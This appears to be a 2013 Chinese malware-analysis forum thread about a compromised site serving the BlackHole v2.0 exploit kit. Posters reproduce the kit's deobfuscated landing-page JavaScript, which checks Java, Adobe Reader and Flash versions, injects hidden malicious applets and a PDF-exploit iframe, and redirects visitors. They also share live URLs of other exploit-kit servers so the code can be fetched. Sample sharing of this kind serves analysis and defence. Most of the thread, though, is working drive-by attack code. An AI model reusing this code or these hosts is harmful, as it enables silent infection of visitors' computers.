查看: 999|回复: 7
收起左侧

[未鉴定] http://packbeauty.com/news/let-it_be.php【挂马by萌萌 感谢墨家小朋友和dayangyang

[复制链接]
墨家小子
发表于 2013-4-9 21:23:09 | 显示全部楼层 |阅读模式
本帖最后由 蓝核 于 2013-4-10 20:06 编辑

BlackHole v2.0 exploit kit
dayangyang
发表于 2013-4-9 22:58:34 | 显示全部楼层
virus:JS/Blacole.GB.83
exploit 现在越来越NB了 源代码根本看不出。。混淆都找不到在哪里
挂了hook找到了漏洞利用的代码。。贴一部分:
  1.        flash: {
  2.             mimeType: "application/x-shockwave-flash",
  3.             progID: "ShockwaveFlash.ShockwaveFlash",
  4.             classID: "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000",
  5.             getVersion: function() {
  6.                 var b = function(i) {
  7.                     if (!i) {
  8.                         return null
  9.                     }
  10.                     var e = /[\d][\d\,\.\s]*[rRdD]{0,1}[\d\,]*/.exec(i);
  11.                     return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  12.                 };
  13.                 var j = this,
  14.                     g = j.$,
  15.                     k, h, l = null,
  16.                     c = null,
  17.                     a = null,
  18.                     f, m, d;
  19.                 if (!g.isIE) {
  20.                     m = g.hasMimeType(j.mimeType);
  21.                     if (m) {
  22.                         f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  23.                         try {
  24.                             l = g.getNum(f.GetVariable("$version"))
  25.                         } catch (k) {}
  26.                     }
  27.                     if (!l) {
  28.                         d = m ? m.enabledPlugin : null;
  29.                         if (d && d.description) {
  30.                             l = b(d.description)
  31.                         }
  32.                         if (l) {
  33.                             l = g.getPluginFileVersion(d, l)
  34.                         }
  35.                     }
  36.                 } else {
  37.                     for (h = 15; h > 2; h--) {
  38.                         c = g.getAXO(j.progID + "." + h);
  39.                         if (c) {
  40.                             a = h.toString();
  41.                             break
  42.                         }
  43.                     }
  44.                     if (!c) {
  45.                         c = g.getAXO(j.progID)
  46.                     }
  47.                     if (a == "6") {
  48.                         try {
  49.                             c.AllowScriptAccess = "always"
  50.                         } catch (k) {
  51.                             return "6,0,21,0"
  52.                         }
  53.                     }
  54.                     try {
  55.                         l = b(c.GetVariable("$version"))
  56.                     } catch (k) {}
  57.                     if (!l && a) {
  58.                         l = a
  59.                     }
  60.                 }
  61.                 j.installed = l ? 1 : -1;
  62.                 j.version = g.formatNum(l);
  63.                 return true
  64.             }
  65.         },
  66.         adobereader: {
  67.             mimeType: "application/pdf",
  68.             navPluginObj: null,
  69.             progID: ["AcroPDF.PDF", "PDF.PdfCtrl"],
  70.             classID: "clsid:CA8A9780-280D-11CF-A24D-444553540000",
  71.             INSTALLED: {},
  72.             pluginHasMimeType: function(d, c, f) {
  73.                 var b = this,
  74.                     e = b.$,
  75.                     a;
  76.                 for (a in d) {
  77.                     if (d[a] && d[a].type && d[a].type == c) {
  78.                         return 1
  79.                     }
  80.                 }
  81.                 if (e.getMimeEnabledPlugin(c, f)) {
  82.                     return 1
  83.                 }
  84.                 return 0
  85.             },
  86.             getVersion: function(l, j) {
  87.                 var g = this,
  88.                     d = g.$,
  89.                     i, f, m, n, b = null,
  90.                     h = null,
  91.                     k = g.mimeType,
  92.                     a, c;
  93.                 if (d.isString(j)) {
  94.                     j = j.replace(/\s/g, "");
  95.                     if (j) {
  96.                         k = j
  97.                     }
  98.                 } else {
  99.                     j = null
  100.                 }
  101.                 if (d.isDefined(g.INSTALLED[k])) {
  102.                     g.installed = g.INSTALLED[k];
  103.                     return
  104.                 }
  105.                 if (!d.isIE) {
  106.                     a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  107.                     if (g.getVersionDone !== 0) {
  108.                         g.getVersionDone = 0;
  109.                         b = d.getMimeEnabledPlugin(g.mimeType, a);
  110.                         if (!j) {
  111.                             n = b
  112.                         }
  113.                         if (!b && d.hasMimeType(g.mimeType)) {
  114.                             b = d.findNavPlugin(a, 0)
  115.                         }
  116.                         if (b) {
  117.                             g.navPluginObj = b;
  118.                             h = d.getNum(b.description) || d.getNum(b.name);
  119.                             h = d.getPluginFileVersion(b, h);
  120.                             if (!h && d.OS == 1) {
  121.                                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)) {
  122.                                     h = "9"
  123.                                 } else {
  124.                                     if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)) {
  125.                                         h = "8"
  126.                                     }
  127.                                 }
  128.                             }
  129.                         }
  130.                     } else {
  131.                         h = g.version
  132.                     }
  133.                     if (!d.isDefined(n)) {
  134.                         n = d.getMimeEnabledPlugin(k, a)
  135.                     }
  136.                     g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ? -0.2 : -1))
  137.                 } else {
  138.                     b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  139.                     c = /=\s*([\d\.]+)/g;
  140.                     try {
  141.                         f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src", ""], "", g))).GetVersions();
  142.                         for (m = 0; m < 5; m++) {
  143.                             if (c.test(f) && (!h || h < RegExp.$1)) {
  144.                                 h = RegExp.$1
  145.                             }
  146.                         }
  147.                     } catch (i) {}
  148.                     g.installed = h ? 1 : (b ? 0 : -1)
  149.                 }
  150.                 if (!g.version) {
  151.                     g.version = d.formatNum(h)
  152.                 }
  153.                 g.INSTALLED[k] = g.installed
  154.             }
  155.         },
  156.         zz: 0
  157.     }
  158. };
  159. pdpd.initScript();
  160. pdpd.getVersion(".");
  161. var $ = pdpd;

  162. function x(s) {
  163.     d = [];
  164.     for (i = 0; i < s.length; i++) {
  165.         k = (s.charCodeAt(i)).toString(33);
  166.         d.push(k);
  167.     };
  168.     return d.join(":");
  169. }
  170. end_redirect = function() {
  171.     window.location.href = 'http://pleasurebang.com/adobe/';
  172. };

  173. function j1() {
  174.     if ((document.body.clientWidth || document.body.offsetWidth) < 30) {
  175.         var oSpan = document.createElement("div");
  176.         document.body.appendChild(oSpan);
  177.         oSpan.innerHTML = "<applet archive="/news/let-it_be.php?ggylmq=xbrqhxw&zwogfgn=mbygpr" code="hw"><param name="prime" value="q?eVKySw%t0joe_ij-eym8yN?ew3D3xF.b6AO6tO11O6-O6.R?eb6.OhvO6tO60Oh_O1fOh_O68O1fO6CRkb6.Rqvb8Ry?bV" /><param name="val" value="Dyy3Ojj3V%"/></applet>";
  178.     }
  179.     return true;
  180. }
  181. function j2() {
  182.     if ((document.body.clientWidth || document.body.offsetWidth) < 30) {
  183.         var oSpan = document.createElement("div");
  184.         document.body.appendChild(oSpan);
  185.         oSpan.innerHTML = "<applet archive="/news/let-it_be.php?dsxzua=hqn&tte=oki" code="hw"><param name="prime" value="q?eVKySw%t0joe_ij-eym8yN?ew3D3xF.b6AO6tO11O6-O6.R?eb6.OhvO6tO60Oh_O1fOh_O68O1fO6CRkb6.Rqvb8Ry?bV" /><param name="v&#97;l" value="Dyy3Ojj3V%"/></applet>";
  186.     }
  187.     return true;
  188. }
  189. function p1() {
  190.     var d = document.createElement("iframe");
  191.     d.setAttribute("src", "/news/let-it_be.php?ebm=" + x("19f60") + "&nyn=" + x("imc") + "&zalpub=1f:2v:1o:1m:2w:30:2w:1i:30:1j&hnqyjiv=" + x(pdfver.join(".")));
  192.     document.body.appendChild(d);
  193. }
  194. function p2() {
  195.     return false;
  196. }
  197. function p3() {
  198.     return false;
  199. }
  200. function f1() {
  201.     return false;
  202. }
  203. function ff2() {
  204.     return false;
  205. }
  206. document.write('');
  207. setTimeout(end_redirect, 61000);
  208. var pdfver = [];

  209. function svwrbew6436b($) {
  210.     var ar = [];
  211.     var javax = ($.getVersion("Ja" + "va") + ".").toString()["split"](".");
  212.     if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 7 && javax[3] < 9))) {
  213.         ar["push"](j2);
  214.     } else if ($.isMinVersion("Ja" + "va") >= 0 && ((javax[0] == 1 && javax[1] == 6 && javax[3] < 33) || (javax[0] == 1 && javax[1] < 6))) {
  215.         ar["push"](j1);
  216.     }
  217.     pdfver = pdpd.getVersion("AdobeReader");
  218.     if (window.document) if (typeof pdfver == "string") {
  219.         pdfver = pdfver["split"](".")
  220.     } else {
  221.         pdfver = [0, 0, 0, 0]
  222.     }
  223.     if (pdfver[0] > 0 && pdfver[0] < 8) {
  224.         if (window.document) ar["push"](p1);
  225.     }
  226.     if (((pdfver[0] == 9) && (pdfver[1] >= 3)) || ((pdfver[0] == 10) && (pdfver[1] < 103))) {
  227.         ar["push"](p3);
  228.     } else {
  229.         if (window.document && (pdfver[0] == 8 || (pdfver[0] == 9 && pdfver[1] < 4))) {
  230.             ar["push"](p2);
  231.         }
  232.     }
  233.     var ver = ($.getVersion("Flash") + ".").toString()["split"](".");
  234.     if (((ver[0] == 10 && ver[1] == 0 && ver[2] > 40) || (window.document && (ver[0] == 10 && ver[1] > 0) && (ver[0] == 10 && ver[1] < 2))) || window.document && ((ver[0] == 10 && ver[1] == 2 && ver[2] < 159) || (ver[0] == 10 && ver[1] < 2))) {
  235.         ar["push"](ff2);
  236.     }
  237.     if ((ver[0] == 10 && ver[1] == 3 && ver[2] == 181 && ver[3] <= 23) || (ver[0] == 10 && ver[1] == 3 && ver[2] < 181)) {
  238.         ar["push"](f1);
  239.     }
  240.     var arcalli = 0;
  241.     var arcall = function() {
  242.         if (ar.length <= arcalli) return 123;
  243.         ss = setTimeout;
  244.         var res = ar[arcalli]();
  245.         arcalli++;
  246.         if (res && window.document) {
  247.             ss(function() {
  248.                 arcall()
  249.             }, 5509);
  250.         } else {
  251.             arcall();
  252.         }
  253.     };
  254.     arcall();
  255. }
  256. $["onDetec" + "tionDone"]("Ja" + "va", svwrbew6436b, "../sections/getJavaInfo.jar");
复制代码

评分

参与人数 1经验 +5 人气 +1 收起 理由
m220011 + 5 + 1 早日转正!

查看全部评分

m220011
发表于 2013-4-10 10:49:48 | 显示全部楼层


已经失效了

搭梯子也上不去








    骄傲的使用Chrome


    Powered By Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
    墨家小子
     楼主| 发表于 2013-4-10 10:53:28 | 显示全部楼层
    m220011 发表于 2013-4-10 10:49
    已经失效了

    搭梯子也上不去

    http://juhajuhaa.ru:8080/forum/links/column.php
    m220011
    发表于 2013-4-10 13:19:35 | 显示全部楼层
    墨家小子 发表于 2013-4-10 10:53
    http://juhajuhaa.ru:8080/forum/links/column.php



    老毛子的服务器不行啊

    刚想看一下code

    HTTP 错误 502(Bad Gateway):网关或代{过}{滤}理服务器从上游服务器收到的响应无效。








      骄傲的使用Chrome


      Powered By Mozilla/5.0 (Windows NT 6.1, WOW64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.43 Safari/537.31
      墨家小子
       楼主| 发表于 2013-4-10 16:08:20 | 显示全部楼层
      m220011 发表于 2013-4-10 13:19
      老毛子的服务器不行啊

      刚想看一下code

      h ttp://sonyzvshtcone.com/ngen/controlling/experiment_lowest_worded.php
      m220011
      发表于 2013-4-10 16:18:50 | 显示全部楼层
      本帖最后由 m220011 于 2013-4-10 16:33 编辑
      墨家小子 发表于 2013-4-10 16:08
      h ttp://sonyzvshtcone.com/ngen/controlling/experiment_lowest_worded.php
      1. http://sonyzvshtcone.com/ngen/shrift.php
      复制代码
      总感觉有什么地方不对
      1. pdpd = {
      2.   version : "0.7.9", name : "pdpd", handler : function (c, b, a){
      3.     return function (){
      4.       c(b, a)
      5.     }
      6.   }
      7.   , openTag : "<", isDefined : function (b){
      8.     return typeof b != "undefined"
      9.   }
      10.   , isArray : function (b){
      11.     return (/array/i).test(Object.prototype.toString.call(b))
      12.   }
      13.   , isFunc : function (b){
      14.     return typeof b == "function"
      15.   }
      16.   , isString : function (b){
      17.     return typeof b == "string"
      18.   }
      19.   , isNum : function (b){
      20.     return typeof b == "number"
      21.   }
      22.   , isStrNum : function (b){
      23.     return (typeof b == "string" && (/\d/).test(b))
      24.   }
      25.   , getNumRegx :/ [ \ d][ \ d \ . \ _ ,- ] */, splitNumRegx :/ [ \ . \ _ ,- ] / g, getNum :
      26.   function (b, c){
      27.     var d = this , a = d.isStrNum(b) ? (d.isDefined(c) ? new RegExp(c) : d.getNumRegx).
      28.     exec(b) : null;
      29.     return a ? a[0] : null
      30.   }
      31.   , compareNums : function (h, f, d){
      32.     var e = this , c, b, a, g = parseInt;
      33.     if (e.isStrNum(h) && e.isStrNum(f)){
      34.       if (e.isDefined(d) && d.compareNums){
      35.         return d.compareNums(h, f)
      36.       }
      37.       c = h.split(e.splitNumRegx);
      38.       b = f.split(e.splitNumRegx);
      39.       for (a = 0; a < Math.min(c.length, b.length);
      40.       a ++ ){
      41.         if (g(c[a], 10) > g(b[a], 10)){
      42.           return 1
      43.         }
      44.         if (g(c[a], 10) < g(b[a], 10)){
      45.           return  - 1
      46.         }
      47.       }
      48.     }
      49.     return 0
      50.   }
      51.   , formatNum : function (b, c){
      52.     var d = this , a, e;
      53.     if (!d.isStrNum(b)){
      54.       return null
      55.     }
      56.     if (!d.isNum(c)){
      57.       c = 4
      58.     }
      59.     c--;
      60.     e = b.replace(/\s/g, "").split(d.splitNumRegx).concat(["0", "0", "0", "0"]);
      61.     for (a = 0; a < 4; a ++ ){
      62.       if (/^(0+)(.+)$/.test(e[a])){
      63.         e[a] = RegExp.$2
      64.       }
      65.       if (a > c ||! (/\d/).test(e[a])){
      66.         e[a] = "0"
      67.       }
      68.     }
      69.     return e.slice(0, 4).join(",")
      70.   }
      71.   , $hasMimeType : function (a){
      72.     return function (c){
      73.       if (!a.isIE && c){
      74.         var f, e, b, d = a.isArray(c) ? c : (a.isString(c) ? [c] : []);
      75.         for (b = 0; b < d.length; b ++ ){
      76.           if (a.isString(d[b]) &&/ [ ^\ s] / .test(d[b])){
      77.             f = navigator.mimeTypes[d[b]];
      78.             e = f ? f.enabledPlugin : 0;
      79.             if (e && (e.name || e.description)){
      80.               return f
      81.             }
      82.           }
      83.         }
      84.       }
      85.       return null
      86.     }
      87.   }
      88.   , findNavPlugin : function (l, e, c){
      89.     var j = this , h = new RegExp(l, "i"), d = (!j.isDefined(e) || e) ?/\ d /: 0, k = c ?
      90.     new RegExp(c, "i") : 0, a = navigator.plugins, g = "", f, b, m;
      91.     for (f = 0; f < a.length; f ++ ){
      92.       m = a[f].description || g;
      93.       b = a[f].name || g;
      94.       if ((h.test(m) && (!d || d.test(RegExp.leftContext + RegExp.rightContext))) || (h.
      95.       test(b) && (!d || d.test(RegExp.leftContext + RegExp.rightContext)))){
      96.         if (!k ||! (k.test(m) || k.test(b))){
      97.           return a[f]
      98.         }
      99.       }
      100.     }
      101.     return null
      102.   }
      103.   , getMimeEnabledPlugin : function (k, m, c){
      104.     var e = this , f, b = new RegExp(m, "i"), h = "", g = c ? new RegExp(c, "i") : 0, a, l
      105.     , d, j = e.isString(k) ? [k] : k;
      106.     for (d = 0; d < j.length; d ++ ){
      107.       if ((f = e.hasMimeType(j[d])) && (f = f.enabledPlugin)){
      108.         l = f.description || h;
      109.         a = f.name || h;
      110.         if (b.test(l) || b.test(a)){
      111.           if (!g ||! (g.test(l) || g.test(a))){
      112.             return f
      113.           }
      114.         }
      115.       }
      116.     }
      117.     return 0
      118.   }
      119.   , getPluginFileVersion : function (f, b){
      120.     var h = this , e, d, g, a, c =- 1;
      121.     if (h.OS > 2 ||! f ||! f.version ||! (e = h.getNum(f.version))){
      122.       return b
      123.     }
      124.     if (!b){
      125.       return e
      126.     }
      127.     e = h.formatNum(e);
      128.     b = h.formatNum(b);
      129.     d = b.split(h.splitNumRegx);
      130.     g = e.split(h.splitNumRegx);
      131.     for (a = 0; a < d.length; a ++ ){
      132.       if ( - 1 < c && c < a &&! (d[a] == "0")){
      133.         return b
      134.       }
      135.       if (g[a] != d[a]){
      136.         if (c ==- 1){
      137.           c = a
      138.         }
      139.         if (d[a] != "0"){
      140.           return b
      141.         }
      142.       }
      143.     }
      144.     return e
      145.   }
      146.   , AXO : window.ActiveXObject, getAXO : function (a){
      147.     var f = null, d, b = this , c = {
      148.     }
      149.     ;
      150.     try {
      151.       f = new b.AXO(a)
      152.     }
      153.     catch (d){
      154.     }
      155.     return f
      156.   }
      157.   , convertFuncs : function (f){
      158.     var a, g, d, b =/^ [ \ $][ \ $] /, c = this ;
      159.     for (ain f){
      160.       if (b.test(a)){
      161.         try {
      162.           g = a.slice(2);
      163.           if (g.length > 0 &&! f[g]){
      164.             f[g] = f[a](f);
      165.             deletef[a]
      166.           }
      167.         }
      168.         catch (d){
      169.         }
      170.       }
      171.     }
      172.   }
      173.   , initObj : function (e, b, d){
      174.     var a, c;
      175.     if (e){
      176.       if (e[b[0]] == 1 || d){
      177.         for (a = 0; a < b.length; a = a + 2){
      178.           e[b[a]] = b[a + 1]
      179.         }
      180.       }
      181.       for (ain e){
      182.         c = e[a];
      183.         if (c && c[b[0]] == 1){
      184.           this .initObj(c, b)
      185.         }
      186.       }
      187.     }
      188.   }
      189.   , initScript : function (){
      190.     var d = this , a = navigator, h, i = document, l = a.userAgent || "", j = a.vendor ||
      191.     "", b = a.platform || "", k = a.product || "";
      192.     d.initObj(d, ["$", d]);
      193.     for (hin d.Plugins){
      194.       if (d.Plugins[h]){
      195.         d.initObj(d.Plugins[h], ["$", d, "$", d.Plugins[h]], 1)
      196.       }
      197.     }
      198.     d.convertFuncs(d);
      199.     d.OS = 100;
      200.     if (b){
      201.       var g = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2,
      202.       "iPad", 21.3, "Win." + "*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\s*PC", 22.3, "",
      203.       100];
      204.       for (h = g.length - 2; h >= 0; h = h - 2){
      205.         if (g[h] && new RegExp(g[h], "i").test(b)){
      206.           d.OS = g[h + 1];
      207.           break
      208.         }
      209.       }
      210.     }
      211.     ;
      212.     d.head = i.getElementsByTagName("head")[0] || i.getElementsByTagName("body")[0] || i.
      213.     body || null;
      214.     d.isIE = new Function("return/*@cc_on!@*/!1")();
      215.     d.verIE = d.isIE && (/MSIE\s*(\d+\.?\d*)/i).test(l) ? parseFloat(RegExp.$1, 10) : null
      216.     ;
      217.     d.ActiveXEnabled = false;
      218.     if (d.isIE){
      219.       var h, m = ["Msxml2.XMLHTTP", "Msxml2.DOMDocument", "Microsoft.XMLDOM",
      220.       "ShockwaveFlash.ShockwaveFlash", "TDCCtl.TDCCtl", "Shell.UIHelper",
      221.       "Scripting.Dictionary", "wmplayer.ocx"];
      222.       for (h = 0; h < m.length; h ++ ){
      223.         if (d.getAXO(m[h])){
      224.           d.ActiveXEnabled = true;
      225.           break
      226.         }
      227.       }
      228.     }
      229.     ;
      230.     d.isGecko = (/Gecko\s*\/\s*\d/i).test(l) && (/Gecko/i).test(k);
      231.     d.verGecko = d.isGecko ? d.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(l) ? RegExp.$1 :
      232.     "0.9") : null;
      233.     d.isChrome = (/Chrome\s*\/\s*(\d[\d\.]*)/i).test(l);
      234.     d.verChrome = d.isChrome ? d.formatNum(RegExp.$1) : null;
      235.     d.isSafari = ((/Apple/i).test(j) || (!j &&! d.isChrome)) && (
      236.     /Safari\s*\/\s*(\d[\d\.]*)/i).test(l);
      237.     d.verSafari = d.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(l) ? d.formatNum(
      238.     RegExp.$1) : null;
      239.     d.isOpera = (/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(l);
      240.     d.verOpera = d.isOpera && ((/Version\s*\/\s*(\d+\.?\d*)/i).test(l) || 1) ? parseFloat(
      241.     RegExp.$1, 10) : null;
      242.     d.addWinEvent("load", d.handler(d.runWLfuncs, d))
      243.   }
      244.   , init : function (d){
      245.     var c = this , b, d, a = {
      246.       status :- 3, plugin : 0
      247.     }
      248.     ;
      249.     if (!c.isString(d)){
      250.       return a
      251.     }
      252.     if (d.length == 1){
      253.       c.getVersionDelimiter = d;
      254.       return a
      255.     }
      256.     d = d.toLowerCase().replace(/\s/g, "");
      257.     b = c.Plugins[d];
      258.     if (!b ||! b.getVersion){
      259.       return a
      260.     }
      261.     a.plugin = b;
      262.     if (!c.isDefined(b.installed)){
      263.       b.installed = null;
      264.       b.version = null;
      265.       b.version0 = null;
      266.       b.getVersionDone = null;
      267.       b.pluginName = d
      268.     }
      269.     c.garbage = false;
      270.     if (c.isIE &&! c.ActiveXEnabled && d !== "Ja" + "va"){
      271.       a.status =- 2;
      272.       return a
      273.     }
      274.     a.status = 1;
      275.     return a
      276.   }
      277.   , fPush : function (b, a){
      278.     var c = this ;
      279.     if (c.isArray(a) && (c.isFunc(b) || (c.isArray(b) && c.isFunc(b[0]) && 0 < b.length
      280.     ))){
      281.       a.push(b)
      282.     }
      283.   }
      284.   , callArray : function (b){
      285.     var c = this , a;
      286.     if (c.isArray(b)){
      287.       for (a = 0; a < b.length; a ++ ){
      288.         if (b[a] === null){
      289.           return
      290.         }
      291.         c.call(b[a]);
      292.         b[a] = null
      293.       }
      294.     }
      295.   }
      296.   , call : function (c){
      297.     var b = this , a = b.isArray(c) ? c.length :- 1;
      298.     if (0 < a && b.isFunc(c[0])){
      299.       c[0](b, a > 1 ? c[1] : 0, a > 2 ? c[2] : 0, a > 3 ? c[3] : 0)
      300.     }
      301.     else {
      302.       if (b.isFunc(c)){
      303.         c(b)
      304.       }
      305.     }
      306.   }
      307.   , $isMinVersion : function (a){
      308.     return function (h, g, d, c){
      309.       var e = a.init(h), f, b =- 1, j = {
      310.       }
      311.       ;
      312.       if (e.status < 0){
      313.         return e.status
      314.       }
      315.       f = e.plugin;
      316.       g = a.formatNum(a.isNum(g) ? g.toString() : (a.isStrNum(g) ? a.getNum(g) : "0"));
      317.       if (f.getVersionDone != 1){
      318.         f.getVersion(g, d, c);
      319.         if (f.getVersionDone === null){
      320.           f.getVersionDone = 1
      321.         }
      322.       }
      323.       a.cleanup();
      324.       if (f.installed !== null){
      325.         b = f.installed <= 0.5 ? f.installed : (f.installed == 0.7 ? 1 : (f.version ===
      326.         null         ? 0 : (a.compareNums(f.version, g, f) >= 0 ? 1 :- 0.1)))
      327.       }
      328.       ;
      329.       return b
      330.     }
      331.   }
      332.   , getVersionDelimiter : ",", $getVersion : function (a){
      333.     return function (g, d, c){
      334.       var e = a.init(g), f, b, h = {
      335.       }
      336.       ;
      337.       if (e.status < 0){
      338.         return null
      339.       }
      340.       ;
      341.       f = e.plugin;
      342.       if (f.getVersionDone != 1){
      343.         f.getVersion(null, d, c);
      344.         if (f.getVersionDone === null){
      345.           f.getVersionDone = 1
      346.         }
      347.       }
      348.       a.cleanup();
      349.       b = (f.version || f.version0);
      350.       b = b ? b.replace(a.splitNumRegx, a.getVersionDelimiter) : b;
      351.       return b
      352.     }
      353.   }
      354.   , cleanup : function (){
      355.     var a = this ;
      356.     if (a.garbage && a.isDefined(window.CollectGarbage)){
      357.       window.CollectGarbage()
      358.     }
      359.   }
      360.   , addWinEvent : function (d, c){
      361.     var e = this , a = window, b;
      362.     if (e.isFunc(c)){
      363.       if (a.addEventListener){
      364.         a.addEventListener(d, c, false)
      365.       }
      366.       else {
      367.         if (a.attachEvent){
      368.           a.attachEvent("on" + d, c)
      369.         }
      370.         else {
      371.           b = a["on" + d];
      372.           a["on" + d] = e.winHandler(c, b)
      373.         }
      374.       }
      375.     }
      376.   }
      377.   , winHandler : function (d, c){
      378.     return function (){
      379.       d();
      380.       if (typeof c == "function"){
      381.         c()
      382.       }
      383.     }
      384.   }
      385.   , WLfuncs0 : [], WLfuncs : [], runWLfuncs : function (a){
      386.     var b = {
      387.     }
      388.     ;
      389.     a.winLoaded = true;
      390.     a.callArray(a.WLfuncs0);
      391.     a.callArray(a.WLfuncs);
      392.     if (a.onDoneEmptyDiv){
      393.       a.onDoneEmptyDiv()
      394.     }
      395.   }
      396.   , winLoaded : false, $onWindowLoaded : function (a){
      397.     return function (b){
      398.       if (a.winLoaded){
      399.         a.call(b)
      400.       }
      401.       else {
      402.         a.fPush(b, a.WLfuncs)
      403.       }
      404.     }
      405.   }
      406.   , $onDetectionDone : function (a){
      407.     return function (h, g, c, b){
      408.       var d = a.init(h), k, e, j = {
      409.       }
      410.       ;
      411.       if (d.status ==- 3){
      412.         return  - 1
      413.       }
      414.       e = d.plugin;
      415.       if (!a.isArray(e.funcs)){
      416.         e.funcs = []
      417.       }
      418.       if (e.getVersionDone != 1){
      419.         k = a.isMinVersion ? a.isMinVersion(h, "0", c, b) : a.getVersion(h, c, b)
      420.       }
      421.       if (e.installed !=- 0.5 && e.installed != 0.5){
      422.         a.call(g);
      423.         return 1
      424.       }
      425.       if (e.NOTF){
      426.         a.fPush(g, e.funcs);
      427.         return 0
      428.       }
      429.       return 1
      430.     }
      431.   }
      432.   , div : null, divID : "pdpd", divWidth : 50, pluginSize : 1, emptyDiv : function (){
      433.     var d = this , b, h, c, a, f, g;
      434.     if (d.div && d.div.childNodes){
      435.       for (b = d.div.childNodes.length - 1; b >= 0; b -- ){
      436.         c = d.div.childNodes[b];
      437.         if (c && c.childNodes){
      438.           for (h = c.childNodes.length - 1; h >= 0; h -- ){
      439.             g = c.childNodes[h];
      440.             try {
      441.               c.removeChild(g)
      442.             }
      443.             catch (f){
      444.             }
      445.           }
      446.         }
      447.         if (c){
      448.           try {
      449.             d.div.removeChild(c)
      450.           }
      451.           catch (f){
      452.           }
      453.         }
      454.       }
      455.     }
      456.     if (!d.div){
      457.       a = document.getElementById(d.divID);
      458.       if (a){
      459.         d.div = a
      460.       }
      461.     }
      462.     if (d.div && d.div.parentNode){
      463.       try {
      464.         d.div.parentNode.removeChild(d.div)
      465.       }
      466.       catch (f){
      467.       }
      468.       d.div = null
      469.     }
      470.   }
      471.   , DONEfuncs : [], onDoneEmptyDiv : function (){
      472.     var c = this , a, b;
      473.     if (!c.winLoaded){
      474.       return
      475.     }
      476.     if (c.WLfuncs && c.WLfuncs.length && c.WLfuncs[c.WLfuncs.length - 1] !== null){
      477.       return
      478.     }
      479.     for (ain c){
      480.       b = c[a];
      481.       if (b && b.funcs){
      482.         if (b.OTF == 3){
      483.           return
      484.         }
      485.         if (b.funcs.length && b.funcs[b.funcs.length - 1] !== null){
      486.           return
      487.         }
      488.       }
      489.     }
      490.     for (a = 0; a < c.DONEfuncs.length; a ++ ){
      491.       c.callArray(c.DONEfuncs)
      492.     }
      493.     c.emptyDiv()
      494.   }
      495.   , getWidth : function (c){
      496.     if (c){
      497.       var a = c.scrollWidth || c.offsetWidth, b = this ;
      498.       if (b.isNum(a)){
      499.         return a
      500.       }
      501.     }
      502.     return  - 1
      503.   }
      504.   , getTagStatus : function (m, g, a, b){
      505.     var c = this , f, k = m.span, l = c.getWidth(k), h = a.span, j = c.getWidth(h), d = g.
      506.     span, i = c.getWidth(d);
      507.     if (!k ||! h ||! d ||! c.getDOMobj(m)){
      508.       return  - 2
      509.     }
      510.     if (j < i || 0 > l || 0 > j || 0 > i || i <= c.pluginSize || c.pluginSize < 1){
      511.       return 0
      512.     }
      513.     if (l >= i){
      514.       return  - 1
      515.     }
      516.     try {
      517.       if (l == c.pluginSize && (!c.isIE || c.getDOMobj(m).readyState == 4)){
      518.         if (!m.winLoaded && c.winLoaded){
      519.           return 1
      520.         }
      521.         if (m.winLoaded && c.isNum(b)){
      522.           if (!c.isNum(m.count)){
      523.             m.count = b
      524.           }
      525.           if (b - m.count >= 10){
      526.             return 1
      527.           }
      528.         }
      529.       }
      530.     }
      531.     catch (f){
      532.     }
      533.     return 0
      534.   }
      535.   , getDOMobj : function (g, a){
      536.     var f, d = this , c = g ? g.span : 0, b = c && c.firstChild ? 1 : 0;
      537.     try {
      538.       if (b && a){
      539.         d.div.focus()
      540.       }
      541.     }
      542.     catch (f){
      543.     }
      544.     return b ? c.firstChild : null
      545.   }
      546.   , setStyle : function (b, g){
      547.     var f = b.style, a, d, c = this ;
      548.     if (f && g){
      549.       for (a = 0; a < g.length; a = a + 2){
      550.         try {
      551.           f[g[a]] = g[a + 1]
      552.         }
      553.         catch (d){
      554.         }
      555.       }
      556.     }
      557.   }
      558.   , insertDivInBody : function (i, g){
      559.     var f, c = this , h = "pd33993399", b = null, d = g ? window.top.document : window.
      560.     document, a = d.getElementsByTagName("body")[0] || d.body;
      561.     if (!a){
      562.       try {
      563.         d.write('<div id="' + h + '">.' + c.openTag + "/div>");
      564.         b = d.getElementById(h)
      565.       }
      566.       catch (f){
      567.       }
      568.     }
      569.     a = d.getElementsByTagName("body")[0] || d.body;
      570.     if (a){
      571.       a.insertBefore(i, a.firstChild);
      572.       if (b){
      573.         a.removeChild(b)
      574.       }
      575.     }
      576.   }
      577.   , insertHTML : function (f, b, g, a, k){
      578.     var l, m = document, j = this , p, o = m.createElement("span"), n, i;
      579.     var c = ["outlineStyle", "none", "borderStyle", "none", "padding", "0px", "margin",
      580.     "0px", "visibility", "visible"];
      581.     var h =
      582.     "outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";
      583.     if (!j.isDefined(a)){
      584.       a = ""
      585.     }
      586.     if (j.isString(f) && (/[^\s]/).test(f)){
      587.       f = f.toLowerCase().replace(/\s/g, "");
      588.       p = j.openTag + f + ' width="' + j.pluginSize + '" height="' + j.pluginSize + '" ';
      589.       p += 'style="' + h + 'display:inline;" ';
      590.       for (n = 0; n < b.length; n = n + 2){
      591.         if (/[^\s]/.test(b[n + 1])){
      592.           p += b[n] + '="' + b[n + 1] + '" '
      593.         }
      594.       }
      595.       p += ">";
      596.       for (n = 0; n < g.length; n = n + 2){
